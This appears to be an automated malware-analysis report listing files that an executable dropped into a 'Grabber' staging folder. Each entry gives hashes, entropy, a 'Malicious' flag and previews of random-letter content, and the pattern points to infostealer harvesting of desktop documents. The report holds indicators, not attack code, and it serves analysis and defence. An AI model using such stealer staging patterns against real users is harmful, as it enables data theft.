GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\ZGGKNSUKOP.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	true
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\JDDHMPCDUJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\JDDHMPCDUJ.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
